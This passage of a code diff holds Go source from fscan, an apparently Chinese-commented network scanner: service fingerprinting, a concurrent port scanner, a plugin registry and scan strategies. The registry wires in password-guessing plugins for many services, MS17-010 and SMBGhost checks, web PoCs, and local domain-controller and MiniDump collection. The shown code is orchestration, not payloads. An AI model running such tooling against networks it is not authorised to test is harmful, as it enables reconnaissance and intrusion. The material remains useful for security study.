// 使用基础探测器检查响应
Common.LogDebug("尝试使用基础探测器(null/common)检查响应")
if i.tryProbes(response, []*Probe{null, common}) {
Common.LogDebug("基础探测器匹配成功")
return
}
Common.LogDebug("基础探测器未匹配")
} else if err != nil {
Common.LogDebug(fmt.Sprintf("读取初始响应失败: %v", err))
}
// 记录已使用的探测器,避免重复使用
usedProbes := make(map[string]struct{})
// 2. 尝试使用端口专用探测器
Common.LogDebug(fmt.Sprintf("尝试使用端口 %d 的专用探测器", i.Port))
if i.processPortMapProbes(usedProbes) {
Common.LogDebug("端口专用探测器匹配成功")
return
}
Common.LogDebug("端口专用探测器未匹配")
// 3. 使用默认探测器列表
Common.LogDebug("尝试使用默认探测器列表")
if i.processDefaultProbes(usedProbes) {
Common.LogDebug("默认探测器匹配成功")
return
}
Common.LogDebug("默认探测器未匹配")
// 4. 如果所有探测都失败,标记为未知服务
if strings.TrimSpace(i.Result.Service.Name) == "" {
Common.LogDebug("未识别出服务,标记为 unknown")
i.Result.Service.Name = "unknown"
}
}
// tryProbes 尝试使用指定的探测器列表检查响应
func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
for _, probe := range probes {
Common.LogDebug(fmt.Sprintf("尝试探测器: %s", probe.Name))
i.GetInfo(response, probe)
if i.Found {
Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
return true
}
}
return false
}
// processPortMapProbes 处理端口映射中的专用探测器
func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
// 检查是否存在端口专用探测器
if len(Common.PortMap[i.Port]) == 0 {
Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
return false
}
// 遍历端口专用探测器
for _, name := range Common.PortMap[i.Port] {
Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
usedProbes[name] = struct{}{}
probe := v.ProbesMapKName[name]
// 解码探测数据
probeData, err := DecodeData(probe.Data)
if err != nil || len(probeData) == 0 {
Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
continue
}
// 发送探测数据并获取响应
Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
if response := i.Connect(probeData); len(response) > 0 {
Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
// 使用当前探测器检查响应
i.GetInfo(response, &probe)
if i.Found {
return true
}
// 根据探测器类型进行额外检查
switch name {
case "GenericLines":
if i.tryProbes(response, []*Probe{null}) {
return true
}
case "NULL":
continue
default:
if i.tryProbes(response, []*Probe{common}) {
return true
}
}
}
}
return false
}
// processDefaultProbes 处理默认探测器列表
func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
failCount := 0
const maxFailures = 10 // 最大失败次数
// 遍历默认探测器列表
for _, name := range Common.DefaultMap {
// 跳过已使用的探测器
if _, used := usedProbes[name]; used {
continue
}
probe := v.ProbesMapKName[name]
probeData, err := DecodeData(probe.Data)
if err != nil || len(probeData) == 0 {
continue
}
// 发送探测数据并获取响应
response := i.Connect(probeData)
if len(response) == 0 {
failCount++
if failCount > maxFailures {
return false
}
continue
}
// 使用当前探测器检查响应
i.GetInfo(response, &probe)
if i.Found {
return true
}
// 根据探测器类型进行额外检查
switch name {
case "GenericLines":
if i.tryProbes(response, []*Probe{null}) {
return true
}
case "NULL":
continue
default:
if i.tryProbes(response, []*Probe{common}) {
return true
}
}
// 尝试使用端口映射中的其他探测器
if len(Common.PortMap[i.Port]) > 0 {
for _, mappedName := range Common.PortMap[i.Port] {
usedProbes[mappedName] = struct{}{}
mappedProbe := v.ProbesMapKName[mappedName]
i.GetInfo(response, &mappedProbe)
if i.Found {
return true
}
}
}
}
return false
}
// GetInfo 分析响应数据并提取服务信息
func (i *Info) GetInfo(response []byte, probe *Probe) {
Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
// 响应数据有效性检查
if len(response) <= 0 {
Common.LogDebug("响应数据为空")
return
}
result := &i.Result
var (
softMatch Match
softFound bool
)
// 处理主要匹配规则
Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
if matched, match := i.processMatches(response, probe.Matchs); matched {
Common.LogDebug("找到硬匹配")
return
} else if match != nil {
Common.LogDebug("找到软匹配")
softFound = true
softMatch = *match
}
// 处理回退匹配规则
if probe.Fallback != "" {
Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok {
if matched, match := i.processMatches(response, fbProbe.Matchs); matched {
Common.LogDebug("回退匹配成功")
return
} else if match != nil {
Common.LogDebug("找到回退软匹配")
softFound = true
softMatch = *match
}
}
}
// 处理未找到匹配的情况
if !i.Found {
Common.LogDebug("未找到硬匹配,处理未匹配情况")
i.handleNoMatch(response, result, softFound, softMatch)
}
}
// processMatches 处理匹配规则集
func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) {
Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
var softMatch *Match
for _, match := range *matches {
if !match.MatchPattern(response) {
continue
}
if !match.IsSoft {
Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
i.handleHardMatch(response, &match)
return true, nil
} else if softMatch == nil {
Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
tmpMatch := match
softMatch = &tmpMatch
}
}
return false, softMatch
}
// handleHardMatch 处理硬匹配结果
func (i *Info) handleHardMatch(response []byte, match *Match) {
Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
result := &i.Result
extras := match.ParseVersionInfo(response)
extrasMap := extras.ToMap()
result.Service.Name = match.Service
result.Extras = extrasMap
result.Banner = trimBanner(response)
result.Service.Extras = extrasMap
// 特殊处理 microsoft-ds 服务
if result.Service.Name == "microsoft-ds" {
Common.LogDebug("特殊处理 microsoft-ds 服务")
result.Service.Extras["hostname"] = result.Banner
}
i.Found = true
Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
}
// handleNoMatch 处理未找到匹配的情况
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
Common.LogDebug("处理未匹配情况")
result.Banner = trimBanner(response)
if !softFound {
// 尝试识别 HTTP 服务
if strings.Contains(result.Banner, "HTTP/") ||
strings.Contains(result.Banner, "html") {
Common.LogDebug("识别为HTTP服务")
result.Service.Name = "http"
} else {
Common.LogDebug("未知服务")
result.Service.Name = "unknown"
}
} else {
Common.LogDebug("使用软匹配结果")
extras := softMatch.ParseVersionInfo(response)
result.Service.Extras = extras.ToMap()
result.Service.Name = softMatch.Service
i.Found = true
Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
}
}
// Connect 发送数据并获取响应
func (i *Info) Connect(msg []byte) []byte {
i.Write(msg)
reply, _ := i.Read()
return reply
}
const WrTimeout = 5 // 默认读写超时时间(秒)
// Write 写入数据到连接
func (i *Info) Write(msg []byte) error {
if i.Conn == nil {
return nil
}
// 设置写入超时
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
// 写入数据
_, err := i.Conn.Write(msg)
if err != nil && strings.Contains(err.Error(), "close") {
i.Conn.Close()
// 连接关闭时重试 - 支持SOCKS5代理
i.Conn, err = Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
if err == nil {
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
_, err = i.Conn.Write(msg)
}
}
// 记录发送的数据
if err == nil {
i.Result.Send = msg
}
return err
}
// Read 从连接读取响应
func (i *Info) Read() ([]byte, error) {
if i.Conn == nil {
return nil, nil
}
// 设置读取超时
i.Conn.SetReadDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
// 读取数据
result, err := readFromConn(i.Conn)
if err != nil && strings.Contains(err.Error(), "close") {
return result, err
}
// 记录接收到的数据
if len(result) > 0 {
i.Result.Recv = result
}
return result, err
}
// readFromConn 从连接读取数据的辅助函数
func readFromConn(conn net.Conn) ([]byte, error) {
size := 2 * 1024 // 读取缓冲区大小
var result []byte
for {
buf := make([]byte, size)
count, err := conn.Read(buf)
if count > 0 {
result = append(result, buf[:count]...)
}
if err != nil {
if len(result) > 0 {
return result, nil
}
if err == io.EOF {
return result, nil
}
return result, err
}
if count < size {
return result, nil
}
}
}
+150
View File
@@ -0,0 +1,150 @@
package Core
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/sync/errgroup"
"golang.org/x/sync/semaphore"
"strings"
"sync"
"sync/atomic"
"time"
)
// EnhancedPortScan 高性能端口扫描函数
func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
// 解析端口和排除端口
portList := Common.ParsePort(ports)
if len(portList) == 0 {
Common.LogError("无效端口: " + ports)
return nil
}
exclude := make(map[int]struct{})
for _, p := range Common.ParsePort(Common.ExcludePorts) {
exclude[p] = struct{}{}
}
// 初始化并发控制
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
to := time.Duration(timeout) * time.Second
sem := semaphore.NewWeighted(int64(Common.ThreadNum))
var count int64
var aliveMap sync.Map
g, ctx := errgroup.WithContext(ctx)
// 并发扫描所有目标
for _, host := range hosts {
for _, port := range portList {
if _, excluded := exclude[port]; excluded {
continue
}
host, port := host, port // 捕获循环变量
addr := fmt.Sprintf("%s:%d", host, port)
if err := sem.Acquire(ctx, 1); err != nil {
break
}
g.Go(func() error {
defer sem.Release(1)
// 连接测试 - 支持SOCKS5代理
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, to)
if err != nil {
return nil
}
defer conn.Close()
// 记录开放端口
atomic.AddInt64(&count, 1)
aliveMap.Store(addr, struct{}{})
Common.LogInfo("端口开放 " + addr)
Common.SaveResult(&Common.ScanResult{
Time: time.Now(), Type: Common.PORT, Target: host,
Status: "open", Details: map[string]interface{}{"port": port},
})
// 服务识别
if Common.EnableFingerprint {
if info, err := NewPortInfoScanner(host, port, conn, to).Identify(); err == nil {
// 构建结果详情
details := map[string]interface{}{"port": port, "service": info.Name}
if info.Version != "" {
details["version"] = info.Version
}
// 处理额外信息
for k, v := range info.Extras {
if v == "" {
continue
}
switch k {
case "vendor_product":
details["product"] = v
case "os", "info":
details[k] = v
}
}
if len(info.Banner) > 0 {
details["banner"] = strings.TrimSpace(info.Banner)
}
// 保存服务结果
Common.SaveResult(&Common.ScanResult{
Time: time.Now(), Type: Common.SERVICE, Target: host,
Status: "identified", Details: details,
})
// 记录服务信息
var sb strings.Builder
sb.WriteString("服务识别 " + addr + " => ")
if info.Name != "unknown" {
sb.WriteString("[" + info.Name + "]")
}
if info.Version != "" {
sb.WriteString(" 版本:" + info.Version)
}
for k, v := range info.Extras {
if v == "" {
continue
}
switch k {
case "vendor_product":
sb.WriteString(" 产品:" + v)
case "os":
sb.WriteString(" 系统:" + v)
case "info":
sb.WriteString(" 信息:" + v)
}
}
if len(info.Banner) > 0 && len(info.Banner) < 100 {
sb.WriteString(" Banner:[" + strings.TrimSpace(info.Banner) + "]")
}
Common.LogInfo(sb.String())
}
}
return nil
})
}
}
_ = g.Wait()
// 收集结果
var aliveAddrs []string
aliveMap.Range(func(key, _ interface{}) bool {
aliveAddrs = append(aliveAddrs, key.(string))
return true
})
Common.LogBase(fmt.Sprintf("扫描完成, 发现 %d 个开放端口", count))
return aliveAddrs
}
+289
View File
@@ -0,0 +1,289 @@
package Core
import (
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Plugins"
"sort"
)
// init 初始化并注册所有扫描插件
// 包括标准端口服务扫描、特殊扫描类型和本地信息收集等
func init() {
// 1. 标准网络服务扫描插件
// 文件传输和远程访问服务
Common.RegisterPlugin("ftp", Common.ScanPlugin{
Name: "FTP",
Ports: []int{21},
ScanFunc: Plugins.FtpScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("ssh", Common.ScanPlugin{
Name: "SSH",
Ports: []int{22, 2222},
ScanFunc: Plugins.SshScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("telnet", Common.ScanPlugin{
Name: "Telnet",
Ports: []int{23},
ScanFunc: Plugins.TelnetScan,
Types: []string{Common.PluginTypeService},
})
// Windows网络服务
Common.RegisterPlugin("findnet", Common.ScanPlugin{
Name: "FindNet",
Ports: []int{135},
ScanFunc: Plugins.Findnet,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("netbios", Common.ScanPlugin{
Name: "NetBIOS",
Ports: []int{139},
ScanFunc: Plugins.NetBIOS,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("smb", Common.ScanPlugin{
Name: "SMB",
Ports: []int{445},
ScanFunc: Plugins.SmbScan,
Types: []string{Common.PluginTypeService},
})
// 数据库服务
Common.RegisterPlugin("mssql", Common.ScanPlugin{
Name: "MSSQL",
Ports: []int{1433, 1434},
ScanFunc: Plugins.MssqlScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("oracle", Common.ScanPlugin{
Name: "Oracle",
Ports: []int{1521, 1522, 1526},
ScanFunc: Plugins.OracleScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("mysql", Common.ScanPlugin{
Name: "MySQL",
Ports: []int{3306, 3307, 13306, 33306},
ScanFunc: Plugins.MysqlScan,
Types: []string{Common.PluginTypeService},
})
// 中间件和消息队列服务
Common.RegisterPlugin("elasticsearch", Common.ScanPlugin{
Name: "Elasticsearch",
Ports: []int{9200, 9300},
ScanFunc: Plugins.ElasticScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{
Name: "RabbitMQ",
Ports: []int{5672, 5671, 15672, 15671},
ScanFunc: Plugins.RabbitMQScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("kafka", Common.ScanPlugin{
Name: "Kafka",
Ports: []int{9092, 9093},
ScanFunc: Plugins.KafkaScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("activemq", Common.ScanPlugin{
Name: "ActiveMQ",
Ports: []int{61613},
ScanFunc: Plugins.ActiveMQScan,
Types: []string{Common.PluginTypeService},
})
// 目录和认证服务
Common.RegisterPlugin("ldap", Common.ScanPlugin{
Name: "LDAP",
Ports: []int{389, 636},
ScanFunc: Plugins.LDAPScan,
Types: []string{Common.PluginTypeService},
})
// 邮件服务
Common.RegisterPlugin("smtp", Common.ScanPlugin{
Name: "SMTP",
Ports: []int{25, 465, 587},
ScanFunc: Plugins.SmtpScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("imap", Common.ScanPlugin{
Name: "IMAP",
Ports: []int{143, 993},
ScanFunc: Plugins.IMAPScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("pop3", Common.ScanPlugin{
Name: "POP3",
Ports: []int{110, 995},
ScanFunc: Plugins.POP3Scan,
Types: []string{Common.PluginTypeService},
})
// 网络管理和监控服务
Common.RegisterPlugin("snmp", Common.ScanPlugin{
Name: "SNMP",
Ports: []int{161, 162},
ScanFunc: Plugins.SNMPScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("modbus", Common.ScanPlugin{
Name: "Modbus",
Ports: []int{502, 5020},
ScanFunc: Plugins.ModbusScan,
Types: []string{Common.PluginTypeService},
})
// 数据同步和备份服务
Common.RegisterPlugin("rsync", Common.ScanPlugin{
Name: "Rsync",
Ports: []int{873},
ScanFunc: Plugins.RsyncScan,
Types: []string{Common.PluginTypeService},
})
// NoSQL数据库
Common.RegisterPlugin("cassandra", Common.ScanPlugin{
Name: "Cassandra",
Ports: []int{9042},
ScanFunc: Plugins.CassandraScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("neo4j", Common.ScanPlugin{
Name: "Neo4j",
Ports: []int{7687},
ScanFunc: Plugins.Neo4jScan,
Types: []string{Common.PluginTypeService},
})
// 远程桌面和显示服务
Common.RegisterPlugin("rdp", Common.ScanPlugin{
Name: "RDP",
Ports: []int{3389, 13389, 33389},
ScanFunc: Plugins.RdpScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("postgres", Common.ScanPlugin{
Name: "PostgreSQL",
Ports: []int{5432, 5433},
ScanFunc: Plugins.PostgresScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("vnc", Common.ScanPlugin{
Name: "VNC",
Ports: []int{5900, 5901, 5902},
ScanFunc: Plugins.VncScan,
Types: []string{Common.PluginTypeService},
})
// 缓存和键值存储服务
Common.RegisterPlugin("redis", Common.ScanPlugin{
Name: "Redis",
Ports: []int{6379, 6380, 16379},
ScanFunc: Plugins.RedisScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("memcached", Common.ScanPlugin{
Name: "Memcached",
Ports: []int{11211},
ScanFunc: Plugins.MemcachedScan,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
Name: "MongoDB",
Ports: []int{27017, 27018},
ScanFunc: Plugins.MongodbScan,
Types: []string{Common.PluginTypeService},
})
// 2. 特殊漏洞扫描插件
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
Name: "MS17010",
Ports: []int{445},
ScanFunc: Plugins.MS17010,
Types: []string{Common.PluginTypeService},
})
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
Name: "SMBGhost",
Ports: []int{445},
ScanFunc: Plugins.SmbGhost,
Types: []string{Common.PluginTypeService},
})
// 3. Web应用扫描插件
Common.RegisterPlugin("webtitle", Common.ScanPlugin{
Name: "WebTitle",
Ports: Common.ParsePortsFromString(Common.WebPorts),
ScanFunc: Plugins.WebTitle,
Types: []string{Common.PluginTypeWeb},
})
Common.RegisterPlugin("webpoc", Common.ScanPlugin{
Name: "WebPoc",
Ports: Common.ParsePortsFromString(Common.WebPorts),
ScanFunc: Plugins.WebPoc,
Types: []string{Common.PluginTypeWeb},
})
// 4. Windows系统专用插件
Common.RegisterPlugin("smb2", Common.ScanPlugin{
Name: "SMBScan2",
Ports: []int{445},
ScanFunc: Plugins.SmbScan2,
Types: []string{Common.PluginTypeService},
})
// 5. 本地信息收集插件
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
Name: "LocalInfo",
Ports: []int{},
ScanFunc: Plugins.LocalInfoScan,
Types: []string{Common.PluginTypeLocal},
})
Common.RegisterPlugin("dcinfo", Common.ScanPlugin{
Name: "DCInfo",
Ports: []int{},
ScanFunc: Plugins.DCInfoScan,
Types: []string{Common.PluginTypeLocal},
})
Common.RegisterPlugin("minidump", Common.ScanPlugin{
Name: "MiniDump",
Ports: []int{},
ScanFunc: Plugins.MiniDump,
Types: []string{Common.PluginTypeLocal},
})
}
// GetAllPlugins 返回所有已注册插件的名称列表
func GetAllPlugins() []string {
pluginNames := make([]string, 0, len(Common.PluginManager))
for name := range Common.PluginManager {
pluginNames = append(pluginNames, name)
}
sort.Strings(pluginNames)
return pluginNames
}
+246
View File
@@ -0,0 +1,246 @@
package Core
import (
"fmt"
"github.com/schollz/progressbar/v3"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
)
// ScanTask 表示单个扫描任务
type ScanTask struct {
pluginName string // 插件名称
target Common.HostInfo // 目标信息
}
// ScanStrategy 定义扫描策略接口
type ScanStrategy interface {
// 名称和描述
Name() string
Description() string
// 执行扫描的主要方法
Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup)
// 插件管理方法
GetPlugins() ([]string, bool)
LogPluginInfo()
// 任务准备方法
PrepareTargets(info Common.HostInfo) []Common.HostInfo
IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool
}
// Scanner 扫描器结构体
type Scanner struct {
strategy ScanStrategy
}
// NewScanner 创建新的扫描器并选择合适的策略
func NewScanner(info Common.HostInfo) *Scanner {
scanner := &Scanner{}
scanner.selectStrategy(info)
return scanner
}
// selectStrategy 根据扫描配置选择适当的扫描策略
func (s *Scanner) selectStrategy(info Common.HostInfo) {
switch {
case Common.LocalMode:
s.strategy = NewLocalScanStrategy()
Common.LogBase("已选择本地扫描模式")
case len(Common.URLs) > 0:
s.strategy = NewWebScanStrategy()
Common.LogBase("已选择Web扫描模式")
default:
s.strategy = NewServiceScanStrategy()
Common.LogBase("已选择服务扫描模式")
}
}
// Scan 执行整体扫描流程
func (s *Scanner) Scan(info Common.HostInfo) {
Common.LogBase("开始信息扫描")
lib.Inithttp()
// 并发控制初始化
ch := make(chan struct{}, Common.ThreadNum)
wg := sync.WaitGroup{}
// 执行策略
s.strategy.Execute(info, &ch, &wg)
// 等待所有扫描完成
wg.Wait()
s.finishScan()
}
// finishScan 完成扫描并输出结果
func (s *Scanner) finishScan() {
if Common.ProgressBar != nil {
Common.ProgressBar.Finish()
fmt.Println()
}
Common.LogBase(fmt.Sprintf("扫描已完成: %v/%v", Common.End, Common.Num))
}
// 任务执行通用框架
func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan struct{}, wg *sync.WaitGroup) {
// 获取要执行的插件
pluginsToRun, isCustomMode := strategy.GetPlugins()
// 准备扫描任务
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy)
// 输出扫描计划
if Common.ShowScanPlan && len(tasks) > 0 {
logScanPlan(tasks)
}
// 初始化进度条
if len(tasks) > 0 && Common.ShowProgress {
initProgressBar(len(tasks))
}
// 执行所有任务
for _, task := range tasks {
scheduleScanTask(task.pluginName, task.target, ch, wg)
}
}
// 准备扫描任务列表
func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustomMode bool, strategy ScanStrategy) []ScanTask {
var tasks []ScanTask
for _, target := range targets {
targetPort := 0
if target.Ports != "" {
targetPort, _ = strconv.Atoi(target.Ports)
}
for _, pluginName := range pluginsToRun {
plugin, exists := Common.PluginManager[pluginName]
if !exists {
continue
}
// 检查插件是否适用于当前目标 (通过策略判断)
if strategy.IsPluginApplicable(plugin, targetPort, isCustomMode) {
tasks = append(tasks, ScanTask{
pluginName: pluginName,
target: target,
})
}
}
}
return tasks
}
// logScanPlan 输出扫描计划信息
func logScanPlan(tasks []ScanTask) {
// 统计每个插件的目标数量
pluginCounts := make(map[string]int)
for _, task := range tasks {
pluginCounts[task.pluginName]++
}
// 构建扫描计划信息
var planInfo strings.Builder
planInfo.WriteString("扫描计划:\n")
for plugin, count := range pluginCounts {
planInfo.WriteString(fmt.Sprintf(" - %s: %d 个目标\n", plugin, count))
}
Common.LogBase(planInfo.String())
}
// 初始化进度条
func initProgressBar(totalTasks int) {
Common.ProgressBar = progressbar.NewOptions(totalTasks,
progressbar.OptionEnableColorCodes(true),
progressbar.OptionShowCount(),
progressbar.OptionSetWidth(15),
progressbar.OptionSetDescription("[cyan]扫描进度:[reset]"),
progressbar.OptionSetTheme(progressbar.Theme{
Saucer: "[green]=[reset]",
SaucerHead: "[green]>[reset]",
SaucerPadding: " ",
BarStart: "[",
BarEnd: "]",
}),
progressbar.OptionThrottle(65*time.Millisecond),
progressbar.OptionUseANSICodes(true),
progressbar.OptionSetRenderBlankState(true),
)
}
// 调度单个扫描任务
func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
wg.Add(1)
*ch <- struct{}{} // 获取并发槽位
go func() {
startTime := time.Now()
defer func() {
// 捕获并记录任何可能的panic
if r := recover(); r != nil {
Common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
pluginName, target.Host, target.Ports, r))
}
// 完成任务,释放资源
duration := time.Since(startTime)
if Common.ShowScanPlan {
Common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
pluginName, target.Host, target.Ports, duration.Seconds()))
}
wg.Done()
<-*ch // 释放并发槽位
}()
atomic.AddInt64(&Common.Num, 1)
executeSingleScan(pluginName, target)
updateProgress()
}()
}
// 执行单个扫描
func executeSingleScan(pluginName string, info Common.HostInfo) {
plugin, exists := Common.PluginManager[pluginName]
if !exists {
Common.LogBase(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName))
return
}
if err := plugin.ScanFunc(&info); err != nil {
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
}
}
// 更新扫描进度
func updateProgress() {
Common.OutputMutex.Lock()
defer Common.OutputMutex.Unlock()
atomic.AddInt64(&Common.End, 1)
if Common.ProgressBar != nil {
fmt.Print("\033[2K\r")
Common.ProgressBar.Add(1)
}
}
// 入口函数,向后兼容旧的调用方式
func Scan(info Common.HostInfo) {
scanner := NewScanner(info)
scanner.Scan(info)
}
+218
View File
@@ -0,0 +1,218 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
)
// ServiceScanStrategy 服务扫描策略
type ServiceScanStrategy struct{}
// NewServiceScanStrategy 创建新的服务扫描策略
func NewServiceScanStrategy() *ServiceScanStrategy {
return &ServiceScanStrategy{}
}
// Name 返回策略名称
func (s *ServiceScanStrategy) Name() string {
return "服务扫描"
}
// Description 返回策略描述
func (s *ServiceScanStrategy) Description() string {
return "扫描主机服务和漏洞"
}
// Execute 执行服务扫描策略
func (s *ServiceScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 验证扫描目标
if info.Host == "" {
Common.LogError("未指定扫描目标")
return
}
// 验证插件配置
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
return
}
// 解析目标主机
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
if err != nil {
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return
}
Common.LogBase("开始主机扫描")
// 输出插件信息
s.LogPluginInfo()
// 执行主机扫描流程
s.performHostScan(hosts, info, ch, wg)
}
// performHostScan 执行主机扫描的完整流程
func (s *ServiceScanStrategy) performHostScan(hosts []string, info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
var targetInfos []Common.HostInfo
// 主机存活性检测和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 {
// 主机存活检测
if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, Common.UsePing)
Common.LogBase(fmt.Sprintf("存活主机数量: %d", len(hosts)))
}
// 端口扫描
alivePorts := s.discoverAlivePorts(hosts)
if len(alivePorts) > 0 {
targetInfos = s.convertToTargetInfos(alivePorts, info)
}
}
// 执行漏洞扫描
if len(targetInfos) > 0 {
Common.LogBase("开始漏洞扫描")
ExecuteScanTasks(targetInfos, s, ch, wg)
}
}
// shouldPerformLivenessCheck 判断是否需要执行存活性检测
func (s *ServiceScanStrategy) shouldPerformLivenessCheck(hosts []string) bool {
return Common.DisablePing == false && len(hosts) > 1
}
// discoverAlivePorts 发现存活的端口
func (s *ServiceScanStrategy) discoverAlivePorts(hosts []string) []string {
var alivePorts []string
// 根据扫描模式选择端口扫描方式
if len(hosts) > 0 {
alivePorts = EnhancedPortScan(hosts, Common.Ports, Common.Timeout)
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
}
// 合并额外指定的端口
if len(Common.HostPort) > 0 {
alivePorts = append(alivePorts, Common.HostPort...)
alivePorts = Common.RemoveDuplicate(alivePorts)
Common.HostPort = nil
Common.LogBase(fmt.Sprintf("存活端口数量: %d", len(alivePorts)))
}
return alivePorts
}
// PrepareTargets 准备目标信息
func (s *ServiceScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
// 解析目标主机
hosts, err := Common.ParseIP(info.Host, Common.HostsFile, Common.ExcludeHosts)
if err != nil {
Common.LogError(fmt.Sprintf("解析主机错误: %v", err))
return nil
}
var targetInfos []Common.HostInfo
// 主机存活性检测和端口扫描
if len(hosts) > 0 || len(Common.HostPort) > 0 {
// 主机存活检测
if s.shouldPerformLivenessCheck(hosts) {
hosts = CheckLive(hosts, Common.UsePing)
}
// 端口扫描
alivePorts := s.discoverAlivePorts(hosts)
if len(alivePorts) > 0 {
targetInfos = s.convertToTargetInfos(alivePorts, info)
}
}
return targetInfos
}
// convertToTargetInfos 将端口列表转换为目标信息
func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo Common.HostInfo) []Common.HostInfo {
var infos []Common.HostInfo
for _, targetIP := range ports {
hostParts := strings.Split(targetIP, ":")
if len(hostParts) != 2 {
Common.LogError(fmt.Sprintf("无效的目标地址格式: %s", targetIP))
continue
}
info := baseInfo
info.Host = hostParts[0]
info.Ports = hostParts[1]
infos = append(infos, info)
}
return infos
}
// GetPlugins 获取服务扫描插件列表
func (s *ServiceScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了插件列表且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
plugins := parsePluginList(Common.ScanMode)
if len(plugins) > 0 {
return plugins, true
}
return []string{Common.ScanMode}, true
}
// 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤
return GetAllPlugins(), false
}
// LogPluginInfo 输出服务扫描插件信息
func (s *ServiceScanStrategy) LogPluginInfo() {
allPlugins, isCustomMode := s.GetPlugins()
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下,过滤掉本地插件,只显示服务类型插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && !plugin.HasType(Common.PluginTypeLocal) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
